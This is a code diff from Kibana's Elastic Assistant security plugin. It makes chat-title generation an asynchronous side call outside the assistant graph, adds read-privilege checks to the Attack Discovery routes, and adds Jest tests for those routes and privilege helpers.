100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/graph.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/graph.ts @@ -24,7 +24,6 @@ import { stepRouter } from './nodes/step_router'; import { modelInput } from './nodes/model_input'; import { runAgent } from './nodes/run_agent'; import { executeTools } from './nodes/execute_tools'; -import { generateChatTitle } from './nodes/generate_chat_title'; import { getPersistedConversation } from './nodes/get_persisted_conversation'; import { persistConversationChanges } from './nodes/persist_conversation_changes'; import { respond } from './nodes/respond'; @@ -87,10 +86,6 @@ export const getDefaultAssistantGraph = ({ conversationsDataClient: dataClients?.conversationsDataClient, }) ) - .addNode(NodeType.GENERATE_CHAT_TITLE, async (state: AgentState) => { - const model = await createLlmInstance(); - return generateChatTitle({ ...nodeParams, state, model, telemetry }); - }) .addNode(NodeType.PERSIST_CONVERSATION_CHANGES, (state: AgentState) => persistConversationChanges({ ...nodeParams, @@ -109,26 +104,29 @@ export const getDefaultAssistantGraph = ({ }) ) .addNode(NodeType.TOOLS, (state: AgentState) => - executeTools({ ...nodeParams, config: { signal }, state, tools, telemetry }) + executeTools({ + ...nodeParams, + config: { signal }, + state, + tools, + telemetryParams, + telemetry, + }) ) .addNode(NodeType.RESPOND, async (state: AgentState) => { const model = await createLlmInstance(); return respond({ ...nodeParams, config: { signal }, state, model }); }) + .addEdge(NodeType.GET_PERSISTED_CONVERSATION, NodeType.PERSIST_CONVERSATION_CHANGES) + .addEdge(NodeType.PERSIST_CONVERSATION_CHANGES, NodeType.AGENT) .addNode(NodeType.MODEL_INPUT, (state: AgentState) => modelInput({ ...nodeParams, state })) .addEdge(START, NodeType.MODEL_INPUT) .addEdge(NodeType.RESPOND, END) - .addEdge(NodeType.GENERATE_CHAT_TITLE, NodeType.PERSIST_CONVERSATION_CHANGES) - .addEdge(NodeType.PERSIST_CONVERSATION_CHANGES, NodeType.AGENT) .addEdge(NodeType.TOOLS, NodeType.AGENT) .addConditionalEdges(NodeType.MODEL_INPUT, stepRouter, { [NodeType.GET_PERSISTED_CONVERSATION]: NodeType.GET_PERSISTED_CONVERSATION, [NodeType.AGENT]: NodeType.AGENT, }) - .addConditionalEdges(NodeType.GET_PERSISTED_CONVERSATION, stepRouter, { - [NodeType.PERSIST_CONVERSATION_CHANGES]: NodeType.PERSIST_CONVERSATION_CHANGES, - [NodeType.GENERATE_CHAT_TITLE]: NodeType.GENERATE_CHAT_TITLE, - }) .addConditionalEdges(NodeType.AGENT, stepRouter, { [NodeType.RESPOND]: NodeType.RESPOND, [NodeType.TOOLS]: NodeType.TOOLS, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/index.ts index 8f4fbdbe9509e..d9db6541bb9ca 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/index.ts @@ -12,6 +12,7 @@ import { TelemetryTracer } from '@kbn/langchain/server/tracers/telemetry'; import { pruneContentReferences, MessageMetadata } from '@kbn/elastic-assistant-common'; import { getPrompt, resolveProviderAndModel } from '@kbn/security-ai-prompts'; import { isEmpty } from 'lodash'; +import { generateChatTitle } from './nodes/generate_chat_title'; import { localToolPrompts, promptGroupId as toolsGroupId } from '../../../prompt/tool_prompts'; import { promptGroupId } from '../../../prompt/local_prompt_object'; import { getFormattedTime, getModelOrOss } from '../../../prompt/helpers'; @@ -280,6 +281,26 @@ export const callAssistantGraph: AgentExecutor = async ({ provider: provider ?? '', }; + // make a fire and forget async call to generateChatTitle + void (async () => { + const model = await createLlmInstance(); + await generateChatTitle({ + actionsClient, + contentReferencesStore, + conversationsDataClient: dataClients?.conversationsDataClient, + logger, + savedObjectsClient, + state: { + ...inputs, + }, + model, + telemetryParams, + telemetry, + }).catch((error) => { + logger.error(`Failed to generate chat title: ${error.message}`); + }); + })(); + if (isStream) { return streamGraph({ apmTracer, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/generate_chat_title.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/generate_chat_title.ts index 01441d97b0c87..099a8736b98d3 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/generate_chat_title.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/generate_chat_title.ts @@ -10,9 +10,11 @@ import { ChatPromptTemplate } from '@langchain/core/prompts'; import { BaseChatModel } from '@langchain/core/language_models/chat_models'; import { TelemetryParams } from '@kbn/langchain/server/tracers/telemetry/telemetry_tracer'; import { AnalyticsServiceSetup } from '@kbn/core-analytics-server'; +import { NEW_CHAT } from '../../../../../routes/helpers'; +import { AIAssistantConversationsDataClient } from '../../../../../ai_assistant_data_clients/conversations'; import { INVOKE_ASSISTANT_ERROR_EVENT } from '../../../../telemetry/event_based_telemetry'; import { getPrompt, promptDictionary } from '../../../../prompt'; -import { AgentState, NodeParamsBase } from '../types'; +import { GraphInputs, NodeParamsBase } from '../types'; import { NodeType } from '../constants'; import { promptGroupId } from '../../../../prompt/local_prompt_object'; import { getActionTypeId } from '../../../../../routes/utils'; @@ -30,25 +32,43 @@ export const GENERATE_CHAT_TITLE_PROMPT = ({ ]); export interface GenerateChatTitleParams extends NodeParamsBase { - state: AgentState; + state: Pick< + GraphInputs, + 'connectorId' | 'conversationId' | 'llmType' | 'responseLanguage' | 'input' | 'isStream' + >; model: BaseChatModel; + conversationsDataClient?: AIAssistantConversationsDataClient; telemetryParams?: TelemetryParams; telemetry: AnalyticsServiceSetup; } export async function generateChatTitle({ actionsClient, + conversationsDataClient, logger, savedObjectsClient, state, model, telemetryParams, telemetry, -}: GenerateChatTitleParams): Promise> { +}: GenerateChatTitleParams): Promise { + if (!state.conversationId) { + return; + } try { logger.debug( () => `${NodeType.GENERATE_CHAT_TITLE}: Node state:\n${JSON.stringify(state, null, 2)}` ); + const conversation = await conversationsDataClient?.getConversation({ + id: state.conversationId, + }); + if (!conversation) { + logger.debug('No conversation found, skipping chat title generation'); + return; + } + if (conversation?.title?.length && conversation?.title !== NEW_CHAT) { + return; + } const outputParser = new StringOutputParser(); const prompt = await getPrompt({ @@ -59,33 +79,42 @@ export async function generateChatTitle({ provider: state.llmType, savedObjectsClient, }); - const graph = GENERATE_CHAT_TITLE_PROMPT({ prompt, responseLanguage: state.responseLanguage }) + const graph = GENERATE_CHAT_TITLE_PROMPT({ + prompt, + responseLanguage: state.responseLanguage ?? 'English', + }) .pipe(model) - .pipe(outputParser); + .pipe(outputParser) + .withConfig({ runName: 'Generate Chat Title' }); const chatTitle = await graph.invoke({ input: JSON.stringify(state.input, null, 2), }); logger.debug(`chatTitle: ${chatTitle}`); - return { - chatTitle, - lastNode: NodeType.GENERATE_CHAT_TITLE, - }; + if (conversation?.title !== chatTitle) { + await conversationsDataClient?.updateConversation({ + conversationUpdateProps: { + id: state.conversationId, + title: chatTitle, + }, + }); + } } catch (e) { telemetry.reportEvent(INVOKE_ASSISTANT_ERROR_EVENT.eventType, { - actionTypeId: telemetryParams?.actionTypeId ?? getActionTypeId(state.llmType), + actionTypeId: telemetryParams?.actionTypeId ?? getActionTypeId(state.llmType ?? `.gen-ai`), model: telemetryParams?.model, errorMessage: e.message ?? e.toString(), - assistantStreamingEnabled: telemetryParams?.assistantStreamingEnabled ?? state.isStream, + assistantStreamingEnabled: + telemetryParams?.assistantStreamingEnabled ?? state.isStream ?? true, isEnabledKnowledgeBase: telemetryParams?.isEnabledKnowledgeBase ?? false, errorLocation: 'generateChatTitle', }); - return { - // generate a chat title if there is an error in order to complete the graph - // limit title to 60 characters - chatTitle: (e.name ?? e.message ?? e.toString()).slice(0, 60), - lastNode: NodeType.GENERATE_CHAT_TITLE, - }; + await conversationsDataClient?.updateConversation({ + conversationUpdateProps: { + id: state.conversationId, + title: (e.name ?? e.message ?? e.toString()).slice(0, 60), + }, + }); } } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/persist_conversation_changes.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/persist_conversation_changes.ts index 04bca3c91b171..704ff8426cd1a 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/persist_conversation_changes.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/persist_conversation_changes.ts @@ -39,16 +39,6 @@ export async function persistConversationChanges({ }; } - let conversation; - if (state.conversation?.title !== state.chatTitle) { - conversation = await conversationsDataClient?.updateConversation({ - conversationUpdateProps: { - id: state.conversationId, - title: state.chatTitle, - }, - }); - } - const lastMessage = state.conversation.messages ? state.conversation.messages[state.conversation.messages.length - 1] : undefined; @@ -64,7 +54,7 @@ export async function persistConversationChanges({ } const updatedConversation = await conversationsDataClient?.appendConversationMessages({ - existingConversation: conversation ? conversation : state.conversation, + existingConversation: state.conversation, messages: [ { content: replaceAnonymizedValuesWithOriginalValues({ diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/step_router.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/step_router.ts index dafa55cdf89e5..bddd2ed7f1e9e 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/step_router.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/nodes/step_router.ts @@ -7,7 +7,6 @@ import { NodeType } from '../constants'; import { AgentState } from '../types'; -import { NEW_CHAT } from '../../../../../routes/helpers'; /* * We use a single router endpoint for common conditional edges. @@ -23,12 +22,6 @@ export function stepRouter(state: AgentState): string { } return NodeType.TOOLS; - case NodeType.GET_PERSISTED_CONVERSATION: - if (state.conversation?.title?.length && state.conversation?.title !== NEW_CHAT) { - return NodeType.PERSIST_CONVERSATION_CHANGES; - } - return NodeType.GENERATE_CHAT_TITLE; - case NodeType.MODEL_INPUT: return state.conversationId ? NodeType.GET_PERSISTED_CONVERSATION : NodeType.AGENT; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/telemetry/event_based_telemetry.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/telemetry/event_based_telemetry.ts index 1190699d86e93..9aa803ba6d4de 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/telemetry/event_based_telemetry.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/telemetry/event_based_telemetry.ts @@ -79,7 +79,8 @@ export const INVOKE_ASSISTANT_SUCCESS_EVENT: EventTypeOpts<{ durationMs: number; toolsInvoked: { AlertCountsTool?: number; - NaturalLanguageESQLTool?: number; + GenerateESQLTool?: number; + AskAboutESQLTool?: number; KnowledgeBaseRetrievalTool?: number; KnowledgeBaseWriteTool?: number; OpenAndAcknowledgedAlertsTool?: number; @@ -139,7 +140,14 @@ export const INVOKE_ASSISTANT_SUCCESS_EVENT: EventTypeOpts<{ optional: true, }, }, - NaturalLanguageESQLTool: { + GenerateESQLTool: { + type: 'long', + _meta: { + description: 'Number of times tool was invoked.', + optional: true, + }, + }, + AskAboutESQLTool: { type: 'long', _meta: { description: 'Number of times tool was invoked.', diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/plugin.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/plugin.ts index d533d0928ac2a..c07c77660c83a 100755 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/plugin.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/plugin.ts @@ -194,7 +194,7 @@ export class ElasticAssistantPlugin getRegisteredFeatures: (pluginName: string) => { return appContextService.getRegisteredFeatures(pluginName); }, - getRegisteredTools: (pluginName: string) => { + getRegisteredTools: (pluginName: string | string[]) => { return appContextService.getRegisteredTools(pluginName); }, }; @@ -220,7 +220,7 @@ export class ElasticAssistantPlugin getRegisteredFeatures: (pluginName: string) => { return appContextService.getRegisteredFeatures(pluginName); }, - getRegisteredTools: (pluginName: string) => { + getRegisteredTools: (pluginName: string | string[]) => { return appContextService.getRegisteredTools(pluginName); }, registerFeatures: (pluginName: string, features: Partial) => { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.test.ts new file mode 100644 index 0000000000000..585fc068a76c1 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.test.ts @@ -0,0 +1,150 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { KibanaRequest } from '@kbn/core-http-server'; +import { httpServiceMock, httpServerMock } from '@kbn/core-http-server-mocks'; + +import { findAttackDiscoveriesRoute } from './find_attack_discoveries'; +import * as helpers from '../../helpers'; +import { hasReadAttackDiscoveryAlertsPrivileges } from '../helpers/index_privileges'; +import { getMockAttackDiscoveryFindResponse } from '../../../__mocks__/attack_discovery_find_response'; +import { mockAuthenticatedUser } from '../../../__mocks__/mock_authenticated_user'; +import { requestContextMock } from '../../../__mocks__/request_context'; +import { AttackDiscoveryDataClient } from '../../../lib/attack_discovery/persistence'; + +const mockAttackDiscoveryFindResponse = getMockAttackDiscoveryFindResponse(); + +jest.mock('../helpers/index_privileges', () => { + const original = jest.requireActual('../helpers/index_privileges'); + + return { + ...original, + hasReadAttackDiscoveryAlertsPrivileges: jest.fn(), + }; +}); + +const { context: mockContext } = requestContextMock.createTools(); + +describe('findAttackDiscoveriesRoute', () => { + let router: ReturnType; + let mockRequest: Partial>; + let mockResponse: ReturnType; + let mockDataClient: { findAttackDiscoveryAlerts: jest.Mock }; + let addVersionMock: jest.Mock; + let getHandler: (ctx: unknown, req: unknown, res: unknown) => Promise; + + beforeEach(() => { + jest.clearAllMocks(); + router = httpServiceMock.createRouter(); + mockDataClient = { + findAttackDiscoveryAlerts: jest.fn().mockResolvedValue(mockAttackDiscoveryFindResponse), + }; + mockContext.elasticAssistant.getAttackDiscoveryDataClient.mockResolvedValue( + mockDataClient as unknown as AttackDiscoveryDataClient + ); + mockRequest = { + query: { page: 1, per_page: 10 }, + }; + mockResponse = httpServerMock.createResponseFactory(); + jest + .spyOn(helpers, 'performChecks') + .mockResolvedValue({ isSuccess: true, currentUser: mockAuthenticatedUser }); + + addVersionMock = jest.fn(); + (router.versioned.get as jest.Mock).mockReturnValue({ addVersion: addVersionMock }); + findAttackDiscoveriesRoute(router); + getHandler = addVersionMock.mock.calls[0][1]; + (hasReadAttackDiscoveryAlertsPrivileges as jest.Mock).mockResolvedValue({ + isSuccess: true, + }); + }); + + it('returns 200 and the expected discoveries on success', async () => { + await getHandler(mockContext, mockRequest, mockResponse); + + expect(mockResponse.ok).toHaveBeenCalledWith({ + body: mockAttackDiscoveryFindResponse, + }); + }); + + it('returns 500 if the data client is not initialized', async () => { + (await mockContext.elasticAssistant).getAttackDiscoveryDataClient.mockResolvedValueOnce(null); + + await getHandler(mockContext, mockRequest, mockResponse); + + expect(mockResponse.custom).toHaveBeenCalledWith({ + body: Buffer.from( + JSON.stringify({ + message: 'Attack discovery data client not initialized', + status_code: 500, + }) + ), + headers: expect.any(Object), + statusCode: 500, + }); + }); + + it('returns an error when performChecks fails', async () => { + (helpers.performChecks as jest.Mock).mockResolvedValueOnce({ + isSuccess: false, + response: { status: 403, payload: { message: 'Forbidden' } }, + }); + + const result = await getHandler(mockContext, mockRequest, mockResponse); + + expect(result).toEqual({ status: 403, payload: { message: 'Forbidden' } }); + }); + + it('returns an error when hasReadAttackDiscoveryAlertsPrivileges fails', async () => { + (hasReadAttackDiscoveryAlertsPrivileges as jest.Mock).mockImplementation(({ response }) => { + return Promise.resolve({ + isSuccess: false, + response: { status: 403, payload: { message: 'no privileges' } }, + }); + }); + + const result = await getHandler(mockContext, mockRequest, mockResponse); + + expect(result).toEqual({ status: 403, payload: { message: 'no privileges' } }); + }); + + describe('when data client throws', () => { + const thrownError = new Error('fail!'); + + beforeEach(() => { + mockDataClient.findAttackDiscoveryAlerts.mockRejectedValueOnce(thrownError); + }); + + it('includes the error message in the response body', async () => { + await getHandler(mockContext, mockRequest, mockResponse); + const customCall = mockResponse.custom?.mock.calls[0]?.[0]; + const bodyString = customCall && customCall.body ? customCall.body.toString() : ''; + + expect(bodyString).toContain(thrownError.message); + }); + + it('returns status code 500', async () => { + await getHandler(mockContext, mockRequest, mockResponse); + const customCall = mockResponse.custom?.mock.calls[0]?.[0]; + + expect(customCall.statusCode).toBe(500); + }); + }); + + it('throws if response validation fails', async () => { + mockDataClient.findAttackDiscoveryAlerts.mockResolvedValueOnce({ invalid: true }); + + const throwValidationError = jest.fn(() => { + throw new Error('Response validation failed'); + }); + mockResponse.ok = throwValidationError; + + await getHandler(mockContext, mockRequest, mockResponse); + + expect(throwValidationError).toHaveBeenCalled(); + }); +}); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.ts index 580811be3e5fb..059b0dbe11707 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/find_attack_discoveries.ts @@ -18,6 +18,7 @@ import { buildRouteValidationWithZod } from '@kbn/zod-helpers'; import { performChecks } from '../../helpers'; import { buildResponse } from '../../../lib/build_response'; import { ElasticAssistantRequestHandlerContext } from '../../../types'; +import { hasReadAttackDiscoveryAlertsPrivileges } from '../helpers/index_privileges'; export const findAttackDiscoveriesRoute = ( router: IRouter @@ -65,6 +66,15 @@ export const findAttackDiscoveriesRoute = ( return checkResponse.response; } + // Perform alerts access check + const privilegesCheckResponse = await hasReadAttackDiscoveryAlertsPrivileges({ + context: ctx, + response, + }); + if (!privilegesCheckResponse.isSuccess) { + return privilegesCheckResponse.response; + } + try { const { query } = request; const dataClient = await assistantContext.getAttackDiscoveryDataClient(); @@ -78,8 +88,12 @@ export const findAttackDiscoveriesRoute = ( const currentUser = await checkResponse.currentUser; + // get an Elasticsearch client for the authenticated user: + const esClient = (await context.core).elasticsearch.client.asCurrentUser; + const result = await dataClient.findAttackDiscoveryAlerts({ authenticatedUser: currentUser, + esClient, findAttackDiscoveryAlertsParams: { alertIds: query.alert_ids, ids: query.ids, @@ -107,7 +121,7 @@ export const findAttackDiscoveriesRoute = ( const error = transformError(err); return resp.error({ - body: { success: false, error: error.message }, + body: error.message, statusCode: error.statusCode, }); } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.test.ts new file mode 100644 index 0000000000000..5230b2b4d977a --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.test.ts @@ -0,0 +1,129 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { KibanaRequest } from '@kbn/core-http-server'; +import { httpServiceMock, httpServerMock } from '@kbn/core-http-server-mocks'; +import { loggingSystemMock } from '@kbn/core-logging-server-mocks'; + +import { getAttackDiscoveryGenerationsRoute } from './get_attack_discovery_generations'; +import * as helpers from '../../helpers'; +import { getMockAttackDiscoveryGenerationsResponse } from '../../../__mocks__/attack_discovery_generations_response'; +import { mockAuthenticatedUser } from '../../../__mocks__/mock_authenticated_user'; + +const mockAttackDiscoveryGenerationsResponse = getMockAttackDiscoveryGenerationsResponse(); + +describe('getAttackDiscoveryGenerationsRoute', () => { + let router: ReturnType; + + let mockContext: { + resolve: jest.Mock; + elasticAssistant: Promise<{ + logger: ReturnType; + eventLogIndex: string; + getSpaceId: () => string; + getAttackDiscoveryDataClient: jest.Mock; + }>; + }; + let mockRequest: Partial>; + let mockResponse: ReturnType; + let mockDataClient: { getAttackDiscoveryGenerations: jest.Mock }; + let mockLogger: ReturnType; + + let addVersionMock: jest.Mock; + let getHandler: (ctx: unknown, req: unknown, res: unknown) => Promise; + + beforeEach(() => { + jest.clearAllMocks(); + router = httpServiceMock.createRouter(); + mockLogger = loggingSystemMock.createLogger(); + mockDataClient = { + getAttackDiscoveryGenerations: jest + .fn() + .mockResolvedValue(mockAttackDiscoveryGenerationsResponse), + }; + mockContext = { + resolve: jest.fn().mockResolvedValue({ core: {}, elasticAssistant: {}, licensing: {} }), + elasticAssistant: Promise.resolve({ + logger: mockLogger, + eventLogIndex: 'event-log-index', + getSpaceId: () => 'default', + getAttackDiscoveryDataClient: jest.fn().mockResolvedValue(mockDataClient), + }), + }; + mockRequest = { + query: { start: '2025-06-26T21:00:00.000Z', end: '2025-06-26T22:00:00.000Z', size: 10 }, + }; + mockResponse = httpServerMock.createResponseFactory(); + jest + .spyOn(helpers, 'performChecks') + .mockResolvedValue({ isSuccess: true, currentUser: mockAuthenticatedUser }); + + addVersionMock = jest.fn(); + (router.versioned.get as jest.Mock).mockReturnValue({ addVersion: addVersionMock }); + getAttackDiscoveryGenerationsRoute(router); + getHandler = addVersionMock.mock.calls[0][1]; + }); + + it('returns 200 and the expected generations on success', async () => { + await getHandler(mockContext, mockRequest, mockResponse); + + expect(mockResponse.ok).toHaveBeenCalledWith({ + body: mockAttackDiscoveryGenerationsResponse, + }); + }); + + it('returns 500 if the data client is not initialized', async () => { + (await mockContext.elasticAssistant).getAttackDiscoveryDataClient.mockResolvedValueOnce(null); + + await getHandler(mockContext, mockRequest, mockResponse); + + expect(mockResponse.custom).toHaveBeenCalledWith({ + body: Buffer.from( + JSON.stringify({ + message: 'Attack discovery data client not initialized', + status_code: 500, + }) + ), + headers: expect.any(Object), + statusCode: 500, + }); + }); + + it('returns an error when performChecks fails', async () => { + (helpers.performChecks as jest.Mock).mockResolvedValueOnce({ + isSuccess: false, + response: { status: 403, payload: { message: 'Forbidden' } }, + }); + + const result = await getHandler(mockContext, mockRequest, mockResponse); + + expect(result).toEqual({ status: 403, payload: { message: 'Forbidden' } }); + }); + + describe('when data client throws', () => { + const thrownError = new Error('fail!'); + + beforeEach(() => { + mockDataClient.getAttackDiscoveryGenerations.mockRejectedValueOnce(thrownError); + }); + + it('includes the error message in the response body', async () => { + await getHandler(mockContext, mockRequest, mockResponse); + const customCall = mockResponse.custom.mock.calls[0][0]; + const bodyString = customCall.body ? customCall.body.toString() : ''; + + expect(bodyString).toContain(thrownError.message); + }); + + it('returns status code 500', async () => { + await getHandler(mockContext, mockRequest, mockResponse); + const customCall = mockResponse.custom.mock.calls[0][0]; + + expect(customCall.statusCode).toBe(500); + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.ts index e6a5b6a39147c..75f33263cdf77 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/get/get_attack_discovery_generations.ts @@ -106,7 +106,7 @@ export const getAttackDiscoveryGenerationsRoute = ( const error = transformError(err); return resp.error({ - body: { success: false, error: error.message }, + body: error.message, statusCode: error.statusCode, }); } diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/generate_and_update_discoveries.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/generate_and_update_discoveries.ts index 0abfad37b7d2f..bf2899b1080be 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/generate_and_update_discoveries.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/generate_and_update_discoveries.ts @@ -112,6 +112,7 @@ export const generateAndUpdateAttackDiscoveries = async ({ indexPattern, logger, ownerId: authenticatedUser.username ?? authenticatedUser.profile_uid, + replacements: latestReplacements, spaceId: dataClient.spaceId, }); storedAttackDiscoveries = dedupedDiscoveries; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/index_privileges.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/index_privileges.test.ts new file mode 100644 index 0000000000000..e6b1c944a555e --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/index_privileges.test.ts @@ -0,0 +1,140 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { + AttackDiscoveryAlertsPrivilegesParams, + hasReadAttackDiscoveryAlertsPrivileges, + hasReadWriteAttackDiscoveryAlertsPrivileges, +} from './index_privileges'; + +const getSpaceIdMock = jest.fn(); +const atSpaceMock = jest.fn(); +const contextMock = { + elasticAssistant: { + getSpaceId: getSpaceIdMock, + checkPrivileges: () => ({ atSpace: atSpaceMock }), + }, +}; +const responseMock = { forbidden: jest.fn() }; + +describe('Index privileges', () => { + const defaultProps = { + context: contextMock, + response: responseMock, + } as unknown as AttackDiscoveryAlertsPrivilegesParams; + + beforeEach(() => { + jest.clearAllMocks(); + + getSpaceIdMock.mockReturnValue('space1'); + atSpaceMock.mockResolvedValue({ hasAllRequested: true }); + responseMock.forbidden.mockImplementation((body) => body); + }); + + describe('hasReadAttackDiscoveryAlertsPrivileges', () => { + it('returns success if all privileges are available', async () => { + const results = await hasReadAttackDiscoveryAlertsPrivileges(defaultProps); + expect(results).toEqual({ isSuccess: true }); + }); + + it('returns forbidden if privileges are missing', async () => { + atSpaceMock.mockResolvedValueOnce({ hasAllRequested: false }); + const results = await hasReadAttackDiscoveryAlertsPrivileges(defaultProps); + expect(results).toEqual({ + isSuccess: false, + response: { + body: { + message: + 'Missing [read, view_index_metadata] privileges for the [.alerts-security.attack.discovery.alerts, .internal.alerts-security.attack.discovery.alerts, .adhoc.alerts-security.attack.discovery.alerts, .internal.adhoc.alerts-security.attack.discovery.alerts] indices. Without these privileges you cannot read the Attack Discovery alerts.', + }, + }, + }); + }); + + it('calls atSpace with correct arguments', async () => { + await hasReadAttackDiscoveryAlertsPrivileges(defaultProps); + expect(getSpaceIdMock).toHaveBeenCalled(); + expect(atSpaceMock).toHaveBeenCalledWith('space1', { + elasticsearch: { + index: { + '.adhoc.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + ], + '.alerts-security.attack.discovery.alerts-space1': ['read', 'view_index_metadata'], + '.internal.adhoc.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + ], + '.internal.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + ], + }, + cluster: [], + }, + }); + }); + }); + + describe('hasReadWriteAttackDiscoveryAlertsPrivileges', () => { + it('returns success if all privileges are available', async () => { + const results = await hasReadWriteAttackDiscoveryAlertsPrivileges(defaultProps); + expect(results).toEqual({ isSuccess: true }); + }); + + it('returns forbidden if privileges are missing', async () => { + atSpaceMock.mockResolvedValueOnce({ hasAllRequested: false }); + const results = await hasReadWriteAttackDiscoveryAlertsPrivileges(defaultProps); + expect(results).toEqual({ + isSuccess: false, + response: { + body: { + message: + 'Missing [read, view_index_metadata, write, maintenance] privileges for the [.alerts-security.attack.discovery.alerts, .internal.alerts-security.attack.discovery.alerts, .adhoc.alerts-security.attack.discovery.alerts, .internal.adhoc.alerts-security.attack.discovery.alerts] indices. Without these privileges you cannot create, read, update or delete the Attack Discovery alerts.', + }, + }, + }); + }); + + it('calls atSpace with correct arguments', async () => { + await hasReadWriteAttackDiscoveryAlertsPrivileges(defaultProps); + expect(getSpaceIdMock).toHaveBeenCalled(); + expect(atSpaceMock).toHaveBeenCalledWith('space1', { + elasticsearch: { + index: { + '.adhoc.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + 'write', + 'maintenance', + ], + '.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + 'write', + 'maintenance', + ], + '.internal.adhoc.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + 'write', + 'maintenance', + ], + '.internal.alerts-security.attack.discovery.alerts-space1': [ + 'read', + 'view_index_metadata', + 'write', + 'maintenance', + ], + }, + cluster: [], + }, + }); + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/index_privileges.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/index_privileges.ts new file mode 100644 index 0000000000000..3e4acf7153c63 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/helpers/index_privileges.ts @@ -0,0 +1,104 @@ +/* + * Copyright Elasticsearch 